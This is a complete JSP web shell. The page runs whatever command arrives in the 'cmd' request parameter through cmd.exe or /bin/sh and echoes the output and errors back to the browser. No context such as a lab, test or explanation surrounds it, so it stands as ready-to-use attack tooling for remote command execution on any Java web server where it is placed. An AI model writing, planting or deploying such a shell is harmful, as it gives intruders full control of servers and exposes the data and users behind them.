<%@ page import="java.util.*,java.io.*"%> <% if (request.getParameter("cmd") != null) { String[] cmd; if (System.getProperty("os.name").toLowerCase().contains("win")) { cmd = new String[] {"cmd.exe", "/c", request.getParameter("cmd")}; } else { cmd = new String[] {"/bin/sh", "-c", request.getParameter("cmd")}; } Process p = Runtime.getRuntime().exec(cmd); BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; out.println("
");
    while ((line = reader.readLine()) != null) {
        out.println(line);
    }

    BufferedReader errorReader = new BufferedReader(new InputStreamReader(p.getErrorStream()));
    while ((line = errorReader.readLine()) != null) {
        out.println(line);
    }
    out.println("
"); } %>